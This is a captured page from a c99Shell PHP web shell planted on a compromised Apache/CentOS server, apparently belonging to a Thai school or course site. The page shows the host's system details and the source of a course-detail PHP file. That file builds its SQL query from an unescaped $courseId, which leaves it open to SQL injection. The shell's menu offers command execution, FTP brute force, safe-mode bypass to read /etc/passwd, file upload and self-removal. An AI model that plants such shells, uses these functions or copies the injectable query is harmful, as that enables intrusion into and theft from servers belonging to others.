!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     SubjectDetail.php (5.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./includes/FunctionDB.php");
include(
"./includes/Function.php");

ConnectDB();

$sql " SELECT * FROM   Course   WHERE  courseId='$courseId' ";
$result mysql_query($sql) or die("Select Has Error").mysql_error();
$rs mysql_fetch_array($result);

?> 
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620" />
<link href="./css/default.css" rel="stylesheet" type="text/css" />

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<table width="750" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td height="10"></td>
  </tr>
</table>
<table width="750" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="744" ><fieldset>
            <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#E8E8E8">
              <tr bordercolor="#CCCCCC" bgcolor="#E4EEFA">
                <td height="25" colspan="3" align="center" bordercolor="#999999" bgcolor="#F0F0F0" class="TEXT-HEADER11-BLUE"><strong>รายละเอียดวิชา <font color="#993333" size="3" face="Tahoma"><?php echo $rs['courseName']; ?></font></strong></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td width="18%" height="10" align="left" bordercolor="#999999" bgcolor="#FFFFFF"></td>
                <td width="2%" height="10" bgcolor="#FFFFFF"></td>
                <td width="80%" height="10" align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td align="left" bordercolor="#999999" bgcolor="#FFFFFF">
                  <font color="#DC143C" face="Tahoma">รหัสวิชาไทย</font></td>
                <td bgcolor="#FFFFFF">:</td>
                <td align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> <?php echo $rs['courseCode']; ?></font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td align="left" bordercolor="#999999" bgcolor="#FFFFFF"><font color="#DC143C" face="Tahoma">รหัสวิชา</font><span style="color:#003366">อังกฤษ</span></td>
                <td bgcolor="#FFFFFF">:</td>
                <td align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><?php echo $rs['courseCodeEng']; ?></font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td align="left" bordercolor="#999999" bgcolor="#FFFFFF">
                  <font color="#DC143C" face="Tahoma">ชื่อวิชา</font><span style="color:#003366">ไทย</span></td>
                <td bgcolor="#FFFFFF">:</td>
                <td align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><?php echo $rs['courseName']; ?></font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td align="left" bordercolor="#999999" bgcolor="#FFFFFF">
                  <font color="#DC143C" face="Tahoma">ชื่อวิชา</font><span style="color:#003366">อังกฤษ</span></td>
                <td bgcolor="#FFFFFF">:</td>
                <td align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><?php echo $rs['courseNameEng']; ?></font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td align="left" bordercolor="#999999" bgcolor="#FFFFFF"><font color="#DC143C" face="Tahoma">หน่วยกิต</font></td>
                <td bgcolor="#FFFFFF">:</td>
                <td align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><?php echo $rs['courseUnit']; ?></font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td align="left" bordercolor="#999999" bgcolor="#FFFFFF"><font color="#DC143C" face="Tahoma">วัตถุประสงค์</font></td>
                <td bgcolor="#FFFFFF">:</td>
                <td align="left" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><?php echo $rs['Objective']; ?></font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#EEEEEE">
                <td align="left" valign="top" bordercolor="#999999" bgcolor="#FFFFFF"><font color="#DC143C" face="Tahoma">ลักษณะวิชา</font></td>
                <td valign="top" bgcolor="#FFFFFF"><font size="2" face="Tahoma">:</font></td>
                <td align="left" valign="top" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003399" size="2" face="Tahoma"><?php echo htmlspecialchars_decodenl2br$rs['description'] ) ); ?></font></td>
              </tr>
              <tr bordercolor="#CCCCCC" bgcolor="#E4EEFA">
                <td colspan="3" bordercolor="#999999" bgcolor="#FFFFFF">&nbsp;</td>
              </tr>
            </table>
      </fieldset></td>
    </tr>
    <tr>
      <td >&nbsp;</td>
  </tr>
    <tr>
      <td align="center" ><input type="button" name="Submit" value="ปิดหน้าต่าง" onClick="javascript:parent.close();" class="CURSOR-HAND" /></td>
  </tr>
</table>
</body>
<?php
    CloseDB
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--